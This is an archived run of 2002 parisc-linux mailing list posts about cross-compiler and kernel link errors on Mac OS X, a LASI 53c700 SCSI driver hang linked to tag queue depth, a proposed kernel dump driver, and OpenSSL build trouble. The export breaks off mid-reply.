	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Feb 2002 13:14:34 -0700 (MST)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.80.150])
	by mail.esiee.fr (Postfix) with ESMTP id 9B5EF49BED
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Feb 2002 21:14:32 +0100 (CET)
X-Mailer: Apple Mail (2.480)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13963

Hi,

I have tried again to compile an xc on MacOSX 10.1.2 
(powerpc-apple-darwin5.2)
targeting hppa64-linux with the most recent xc sources provided by 
Taggart (thank you
again :), but the build breaks always at the same point, when
testing libgcc1.

All the 32bit stuff (binutils, libc, gcc) compiled perfectly fine, but 
I'm not absolutly certain that it is operationnal, contrary to the 
previous xc I made (see my other mail for details).

So here is the error I got:

Testing libgcc1.  Ignore linker warning messages.
/Users/varenet/palinux-builds/xc-build/gcc/gcc/xgcc 
-B/Users/varenet/palinux-builds/xc-build/gcc/gcc/ 
-B/usr/local/palinux/hppa64-linux/bin/ 
-B/usr/local/palinux/hppa64-linux/lib/ -isystem 
/usr/local/palinux/hppa64-linux/include -DCROSS_COMPILE -DIN_GCC    -W 
-Wall -Wwrite-strings -Wstrict-prototypes -Wmissing-prototypes -isystem 
./include  libgcc1-test.o -o libgcc1-test \
   -nostartfiles -nostdlib `/Users/varenet/palinux-builds/xc-
build/gcc/gcc/xgcc -B/Users/varenet/palinux-builds/xc-build/gcc/gcc/ 
-B/usr/local/palinux/hppa64-linux/bin/ 
-B/usr/local/palinux/hppa64-linux/lib/ -isystem 
/usr/local/palinux/hppa64-linux/include --print-libgcc-file-name`
collect2: ld terminated with signal 10 [Bus error], core dumped
/usr/local/palinux/hppa64-linux/bin/ld: warning: cannot find entry 
symbol main; defaulting to 0000000000010280
make[1]: *** [libgcc1-test] Error 1
make: *** [all-gcc] Error 2

Any clue ?


Thibaut VARENE
PA/Linux ESIEE Team
http://www.esiee.fr/puffin




From - Thu Nov 08 21:21:36 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Thibaut VARENE <varenet@esiee.fr>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] MacOSX - vmlinux linking error with the latest xc
Date: Mon, 4 Feb 2002 21:15:25 +0100
Lines: 41
Approved: news@gmane.org
Message-ID: <EC88D53E-19AB-11D6-B4EE-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0 (Apple Message framework v480)
Content-Type: text/plain; charset=US-ASCII; format=flowed
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621040 2603 80.91.229.3 (22 Nov 2014 01:50:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:40 +0000 (UTC)
To: PA/Linux <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 13:15:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.esiee.fr (mail.esiee.fr [147.215.1.3])
	by dsl2.external.hp.com (Postfix) with ESMTP id 7E3F24849
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Feb 2002 13:15:26 -0700 (MST)
Original-Received: from npyu.esiee.fr (npyu.esiee.fr [147.215.80.150])
	by mail.esiee.fr (Postfix) with ESMTP id 62FE249BDF
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Feb 2002 21:15:25 +0100 (CET)
X-Mailer: Apple Mail (2.480)
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13964

Hi again,

So I tried to compile kernel 2.4.17-pa17 (fetched from CVS), using a 
.config that has already been used to successfully compile the same 
kernel for B132 with Taggart's X86 xc.
It broke when linking vmlinux.

Here is the error output:

hppa-linux-ld  -r -o network.o socket.o core/core.o ethernet/ethernet.o 
802/802.o sched/sched.o netlink/netlink.o ipv4/ipv4.o unix/unix.o 
packet/packet.o sunrpc/sunrpc.o sysctl_net.o
hppa-linux-ld -T /Users/varenet/linux/arch/parisc/vmlinux.lds  
arch/parisc/kernel/head.o  init/main.o init/version.o \
         --start-group \
         arch/parisc/kernel/pdc_cons.o arch/parisc/kernel/process.o 
arch/parisc/lib/lib.a arch/parisc/mm/mm.o arch/parisc/kernel/kernel.o 
arch/parisc/hpux/hpux.o kernel/kernel.o mm/mm.o fs/fs.o ipc/ipc.o 
arch/parisc/kernel/init_task.o \
          drivers/char/char.o drivers/block/block.o drivers/misc/misc.o 
drivers/net/net.o drivers/media/media.o drivers/scsi/scsidrv.o 
drivers/pci/driver.o drivers/video/video.o drivers/gsc/gscbus.o 
arch/parisc/math-emu/math.o \
         net/network.o \
         `hppa-linux-gcc -print-libgcc-file-name` 
/Users/varenet/linux/arch/parisc/lib/lib.a 
/Users/varenet/linux/lib/lib.a  \
         --end-group \
         -o vmlinux
make: *** [vmlinux] Bus error
make: *** Deleting file `vmlinux'

Any idea ?


Thibaut VARENE
PA/Linux ESIEE Team
http://www.esiee.fr/puffin




From - Thu Nov 08 21:21:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] XGCC MacOSX/hppa64-linux build error
Date: Mon, 4 Feb 2002 15:21:27 -0500 (EST)
Lines: 15
Approved: news@gmane.org
Message-ID: <200202042021.g14KLRtv019511@hiauly1.hia.nrc.ca>
References: <CD0E8AAC-19AB-11D6-B4EE-0030656F07A2@esiee.fr>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416621040 2606 80.91.229.3 (22 Nov 2014 01:50:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:40 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: varenet@esiee.fr (Thibaut VARENE)
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 13:21:34 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by dsl2.external.hp.com (Postfix) with ESMTP id 4105B483E
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Feb 2002 13:21:33 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (localhost [127.0.0.1])
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) with ESMTP id g14KLRFN019513;
	Mon, 4 Feb 2002 15:21:28 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.0.Beta16/8.12.0.Beta16) id g14KLRtv019511;
	Mon, 4 Feb 2002 15:21:27 -0500 (EST)
In-Reply-To: <CD0E8AAC-19AB-11D6-B4EE-0030656F07A2@esiee.fr> from "Thibaut VARENE" at Feb 4, 2002 09:14:32 pm
X-Mailer: ELM [version 2.4 PL25]
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13965

> build/gcc/gcc/xgcc -B/Users/varenet/palinux-builds/xc-build/gcc/gcc/ 
> -B/usr/local/palinux/hppa64-linux/bin/ 
> -B/usr/local/palinux/hppa64-linux/lib/ -isystem 
> /usr/local/palinux/hppa64-linux/include --print-libgcc-file-name`
> collect2: ld terminated with signal 10 [Bus error], core dumped

It may be totally unrelated but I am also having trouble with ld
segfaulting when it tries to build a shared library on hppa64-hp-hpux11.11.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6605)



From - Thu Nov 08 21:21:36 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Re: 53c700 (LASI SCSI 53c700) hang
Date: Mon, 4 Feb 2002 20:27:53 -0500
Lines: 109
Approved: news@gmane.org
Message-ID: <20020204202753.B3465@systemhalted>
References: <deller@gmx.de> <200202041950.g14JoUm03211@localhost.localdomain>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621040 2608 80.91.229.3 (22 Nov 2014 01:50:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:40 +0000 (UTC)
To: James Bottomley <James.Bottomley@HansenPartnership.com>,
	parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Mon Feb  4 18:27:45 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from sh.od.inet (cr821974-a.cpe.net.cable.rogers.com [24.112.140.233])
	by dsl2.external.hp.com (Postfix) with ESMTP id 17774482A
	for <parisc-linux@lists.parisc-linux.org>; Mon,  4 Feb 2002 18:27:44 -0700 (MST)
Original-Received: (from carlos@localhost)
	by sh.od.inet (8.11.0/8.11.0) id g151RrC03646;
	Mon, 4 Feb 2002 20:27:53 -0500
Mail-Followup-To: "Carlos O'Donell Jr." <carlos@baldric.uwo.ca>,
	James Bottomley <James.Bottomley@HansenPartnership.com>,
	parisc-linux@lists.parisc-linux.org
Content-Disposition: inline
User-Agent: Mutt/1.2.5i
In-Reply-To: <200202041950.g14JoUm03211@localhost.localdomain>; from James.Bottomley@HansenPartnership.com on Mon, Feb 04, 2002 at 01:50:30PM -0600
X-Useless-Header: oooohhmmm, chant the email mantra...
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13966

> What these errors tell me is that your HD accepted more tags than it could 
> cope with and then choked.  Linux error handler isn't very good at handling 
> this situation.  Also, your disc:
> 
> deller@gmx.de said:
> >   Vendor: QUANTUM   Model: FIREBALL_TM3200S  Rev: 300X 
> 
> Is a known trouble causer with tag command queueing.  Initially, try taking 
> the #define NCR_700_MAX_TAGS in drivers/scsi/53c700.h down to 4 or 2 and 
> recompiling the driver.  Alternatively, turn off tagged command queueing 
> altogether by commenting out this block of code:
> 
> I am getting around to adding the code changes to make this able to be done as 
> module/kernel command line options.
> 
> James
>

I've been having problems with the driver for quite some time now.

SCSI subsystem driver Revision: 1.00
53c700: consistent memory allocation failed
53c700: Version 2.6 By James.Bottomley@HansenPartnership.com
scsi0: 53c700 rev 0 
scsi0 : LASI SCSI 53c700
  Vendor: FUJITSU   Model: M2694ES-512       Rev: 8134
  Type:   Direct-Access                      ANSI SCSI revision: 02
Attached scsi disk sda at scsi0, channel 0, id 6, lun 0
SCSI device sda: 2117025 512-byte hdwr sectors (1084 MB)
Partition check:
 sda: sda1 sda2

Compiled kernel with tag queue code _always_ disabled (2.4.17-pa18 from CVS).

#ifdef NEVERCOMIPLE
        if(SCp->device->tagged_supported && !SCp->device->tagged_queue
           && (hostdata->tag_negotiated &(1<<SCp->target)) == 0
           && NCR_700_is_flag_clear(SCp->device, NCR_700_DEV_BEGIN_TAG_QUEUEING)) {
                /* upper layer has indicated tags are supported.  We don't
                 * necessarily believe it yet.
                 *
                 * NOTE: There is a danger here: the mid layer supports
                 * tag queuing per LUN.  We only support it per PUN because
                 * of potential reselection issues */
                printk(KERN_INFO "scsi%d: (%d:%d) Enabling Tag Command Queuing\n", SCp->device->host->host_no, SCp->target, SCp->lun);
                hostdata->tag_negotiated |= (1<<SCp->target);
                NCR_700_set_flag(SCp->device, NCR_700_DEV_BEGIN_TAG_QUEUEING);
                SCp->device->tagged_queue = 1;
        }
#endif

in drivers/scsi/53c700.c at about line 1891.

Start up one of those real-world scripts :}

#!/bin/tcsh
while ( 1 )
find /bin | xargs cat > /dev/null
find /boot | xargs cat > /dev/null
find /etc | xargs cat > /dev/null
find /root | xargs cat > /dev/null
find /sbin | xargs cat > /dev/null
find /tmp | xargs cat > /dev/null
find /usr | xargs cat > /dev/null
find /var | xargs cat > /dev/null
end

root@node44:/proc/scsi/lasi700# cat 0
Total commands outstanding: 1
Target  Depth  Active  Next Tag
======  =====  ======  ========
  6: 0     16       1         0


10 minutes into the run, the find _and_ cat are D on the process list.
The drive is officially unresponsive around this point... maybe it was
just cat and find you say?

Soon after, kupdated goes into D aswell. From there on in the box is
locking up left right and center. I wish I had kdb and could see what's
going on.

I've repeated this lockup 3 times.

Most intersting is that when I reenable the Tag queueing code but change
the Tag depth to 2 (instead of 16). The machine doesn't seem to hang.
I have a box currently running well over the 10 minute mark that I will
leave running until tommorow.

The sim700 driver runs poorly, but happily for days... generating heat :)
Sadly, the sim700 driver is currently only functionaly with the older kernels.
I'm using 2.4.9-pa25 to run the 715/50's in our cluster (diskless boxes run
the latest kernel no problems).

Any thoughts? 

Is the issue as simple as: 

Leave Tag queuing in, but set depth to something low (2 or 4).

Good: 	Tag Queu, Depth = 2

Bad: 	No Tag Queue. 
	Tag Queue, Depth = 16.

c.
 



From - Thu Nov 08 21:21:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bruno Vidal <bruno_vidal@hpfrcu03.france.hp.com>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] dump driver for parisc-linux: patch vs CVS
Date: Tue, 05 Feb 2002 08:53:34 +0100
Organization: H.P
Lines: 107
Approved: news@gmane.org
Message-ID: <3C5F8F7E.D1956DF0@admin.france.hp.com>
References: <3C5E768A.573CC5A2@admin.france.hp.com> <20020204174039.DAF3B482A@dsl2.external.hp.com>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
 boundary="------------EBA49CEA53F20620879DAC56"
X-Trace: ger.gmane.org 1416621040 2611 80.91.229.3 (22 Nov 2014 01:50:40 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:40 +0000 (UTC)
To: "parisc-linux@lists.parisc-linux.org" <parisc-linux@lists.parisc-linux.org>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  5 00:56:28 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from bbnrel4.net.external.hp.com (bbnrel4.net.external.hp.com [155.208.254.68])
	by dsl2.external.hp.com (Postfix) with ESMTP id F031C482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Feb 2002 00:56:27 -0700 (MST)
Original-Received: from hpfrcu03.france.hp.com (hpfrcu03.france.hp.com [15.129.16.51])
	by bbnrel4.net.external.hp.com (Postfix) with ESMTP id 432D68CA
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Feb 2002 08:56:26 +0100 (MET)
Original-Received: from admin.france.hp.com (ssdpc48.france.hp.com [15.129.234.2]) by hpfrcu03.france.hp.com with ESMTP (8.7.6/8.7.3 SMKit7.02) id IAA08724 for <parisc-linux@lists.parisc-linux.org>; Tue, 5 Feb 2002 08:55:48 +0100 (MET)
X-Mailer: Mozilla 4.76 [en] (X11; U; Linux 2.2.5-15 i686)
X-Accept-Language: French, fr, en
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13967

This is a multi-part message in MIME format.
--------------EBA49CEA53F20620879DAC56
Content-Type: text/plain; charset=us-ascii
Content-Transfer-Encoding: 7bit

	Hi.
So my work for the next few days will to create a patch
of all my modification for the latest CVS bits (so you will
have only the modifications). But I'll send it to which people ?

Grant Grundler wrote:
> As Randolph noted, we need to see the diff and what was changed
> in the generic kernel. Is the kernel and user space code GPL?

Everything is under GPL, even the code coming from SGI. I leave
all informations about the SGI code and the header of all their files.
But I've modified the code to handle specific needs for p4. I'm
also currently added code to handle multiple dump device. And I've also
the project to dump only kernel space and not user space.

> > I have modified:
> > ./Makefile
> > ./arch/parisc/config.in
> > ./arch/parisc/kernel/traps.c
> > ./arch/parisc/mm/init.c
> > ./drivers/Makefile
> > ./drivers/char/sysrq.c
> > ./init/main.c
> > ./kernel/ksyms.c
> > ./kernel/panic.c
> > ./kernel/sched.c
> 
> The last four might cause trouble....
I know, I can try to put kernel/ksyms.c to arch/parisc/kernel/parisc_ksyms.c
but it can break the code for ia64 and other architecture. but for the other
it is not possible: panic (call to dump), sched.c (another call to dump), 
main.c (init of dump). I've also an IA64 box where I can do test, so I've also
the project to do it working on it (lots of project :-).

> 
> >
> > And I've added:
> > ./include/linux/dump.h
> > ./drivers/dump/Makefile
> > ./drivers/dump/dump_base.c
> > ./drivers/dump/dump_rle.c
> > ./drivers/dump/dump_parisc.c
> 
> and we need to ask 2.4 maintainer if this can be added upstream too...
I defenitly think that it is a really needed feature (I'm working perhaps 
since a too long time in support center :-).

> 
> > So my question:
> > -Do you think it is a good idea to have a dump driver available
> > in the standart kernel ?
> 
> I do. But it's really up to linus/et al to decide that.
> I can choose to commit this code to *our* tree (parisc-linux) only.
> (and that's really not just my decision - need some consensus)

perfectly understand, so, you already have my vote :-)

> 
> > -If yes, who is able to do the code review, and put this dump
> > module in the CVS ?
> 
> Ideally, I'd like to see outstanding non-arch code changes merged
> upstream first..  Otherwise, I don't mind maintaining that code in our tree.
>
My main probleme is to have a up to date code, because I have to follow
each modification and redo the merge each time I want to update my CVS.
I agree that I need to add comments in my code, but before going further
I prefer to know if this code will stay a "patch" or not.
 
> thanks!
> grant
> 
> _______________________________________________
> parisc-linux mailing list
> parisc-linux@lists.parisc-linux.org
> http://lists.parisc-linux.org/mailman/listinfo/parisc-linux

-- 
	Vidal Bruno, (770-4271)
        SSD-HA Team, HP-UX & LINUX Support
	bruno_vidal@admin.france.hp.com
--------------EBA49CEA53F20620879DAC56
Content-Type: text/x-vcard; charset=iso-8859-1;
 name="bruno_vidal.vcf"
Content-Transfer-Encoding: base64
Content-Description: Card for Bruno Vidal
Content-Disposition: attachment;
 filename="bruno_vidal.vcf"

YmVnaW46dmNhcmQgCm46QnJ1bm87VklEQUwKdGVsO2ZheDowMS02OS04Mi02MC0xNAp0ZWw7
d29yazowMS02OS0yOS00Mi03MQp4LW1vemlsbGEtaHRtbDpUUlVFCnVybDp3d3cuZnJhbmNl
LmhwLmNvbQpvcmc6U29sdXRpb24gQ2VudGVyCnZlcnNpb246Mi4xCmVtYWlsO2ludGVybmV0
OmJydW5vX3ZpZGFsQGhwLmNvbQp0aXRsZTpFeHBlcnQgTG9naWNpZWwgRW52aXJvbm5lbWVu
dCBIYXV0ZSBEaXNwb25pYmlsaXTpCmFkcjtxdW90ZWQtcHJpbnRhYmxlOjs7SFAgRnJhbmNl
PTBEPTBBO1ouQSBkZSBDb3VydGFib2V1ZjsxIEF2LiBkdSBDYW5hZGE7OTE5NDcgTGVzIFVs
aXMgY2VkZXg7RnJhbmNlCngtbW96aWxsYS1jcHQ6OzI2MjA4CmZuOlZJREFMIEJydW5vCmVu
ZDp2Y2FyZAo=
--------------EBA49CEA53F20620879DAC56--




From - Thu Nov 08 21:21:37 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Bob Radvanovsky <rsradvan@unixworks.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] Problems compoling OPENSSL-0.9.6c under PA/Linux 0.9.3 bundle
Date: Tue, 05 Feb 2002 12:39:52 -0600
Lines: 15
Approved: news@gmane.org
Message-ID: <5.1.0.14.2.20020205123859.028e7410@pop.unixworks.net>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset="us-ascii"; format=flowed
X-Trace: ger.gmane.org 1416621041 2616 80.91.229.3 (22 Nov 2014 01:50:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:41 +0000 (UTC)
To: parisc-linux@lists.parisc-linux.org
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  5 11:39:37 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from unixworks.net (65-85-15-21.client.dsl.net [65.85.15.21])
	by dsl2.external.hp.com (Postfix) with ESMTP id E68F7482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Feb 2002 11:39:34 -0700 (MST)
Original-Received: from cirrus.unixworks.net (srvr2005.unixworks.net [65.85.28.101])
	by unixworks.net (1.0.11sp/unixworks.net) with ESMTP id NAA11291
	for <parisc-linux@lists.parisc-linux.org>; Tue, 5 Feb 2002 13:36:38 -0600
X-Comment-1: Internet services provided by kempyuter kensulting services, inc.
X-Comment-2: For more information, visit our web site at http://www.k2si.com.
X-Sender: rsradvan@pop.unixworks.net
X-Mailer: QUALCOMM Windows Eudora Version 5.1
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13968

I've tried to compile OPENSSL for the package provided from the folks at 
http://www.openssl.org -- latest version: 0.9.6c.  Compiler blew up with 
the "-m486" option.  Took it out, and about 1/2 way into the compilation, 
the application compilation foobared.

Anyone got any ideas?  Thanks.

Bob Radvanovsky
kempyuter kensulting services, inc.
rsradvan@k2si.com

P.S.  Great O/S port-over!!!




From - Thu Nov 08 21:21:37 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Randolph Chung <randolph@tausq.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] Problems compoling OPENSSL-0.9.6c under PA/Linux 0.9.3 bundle
Date: Tue, 5 Feb 2002 10:46:02 -0800
Lines: 21
Approved: news@gmane.org
Message-ID: <20020205184602.GK624@tausq.org>
References: <5.1.0.14.2.20020205123859.028e7410@pop.unixworks.net>
Reply-To: Randolph Chung <randolph@tausq.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain; charset=us-ascii
X-Trace: ger.gmane.org 1416621041 2626 80.91.229.3 (22 Nov 2014 01:50:41 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 01:50:41 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org
To: Bob Radvanovsky <rsradvan@unixworks.net>
Original-X-From: owner-parisc-linux@dsl2.external.hp.com  Tue Feb  5 11:46:16 2002
Return-Path: <owner-parisc-linux@dsl2.external.hp.com>
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from mail.pangeatech.com (pxofc151-phx1.pangeatech.com [63.110.32.151])
	by dsl2.external.hp.com (Postfix) with ESMTP id 5773A482A
	for <parisc-linux@lists.parisc-linux.org>; Tue,  5 Feb 2002 11:46:15 -0700 (MST)
Original-Received: from [65.192.22.133] by mail.pangeatech.com (NTMail 7.00.0018/NU8172.00.e2123c13) with ESMTP id samhlaaa for parisc-linux@lists.parisc-linux.org; Tue, 5 Feb 2002 11:46:00 -0700
Original-Received: from randolph by gandalf.tausq.org with local (Exim 3.12 #1 (Debian))
	id 16YAbS-0001qq-00; Tue, 05 Feb 2002 10:46:02 -0800
Content-Disposition: inline
In-Reply-To: <5.1.0.14.2.20020205123859.028e7410@pop.unixworks.net>
User-Agent: Mutt/1.3.25i
X-PGP: for PGP key, see http://www.tausq.org/pgp.txt
X-GPG: for GPG key, see http://www.tausq.org/gpg.txt
Original-Sender: parisc-linux-admin@lists.parisc-linux.org
Errors-To: parisc-linux-admin@lists.parisc-linux.org
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.0.8
Precedence: bulk
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>,
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux/>
Xref: news.gmane.org gmane.linux.ports.parisc:13969

Make sure the following lines (or similar) are in your
/etc/apt/sources.list:

deb http://non-us.debian.org/debian-non-US unstable/non-US main
deb-src http://non-us.debian.org/debian-non-US unstable/non-US main

then run 'apt-get update' and 'apt-get install openssl'

ok, that doesn't really answer your question... :-)

alternatively, do 'apt-get update; apt-get source openssl' to get the
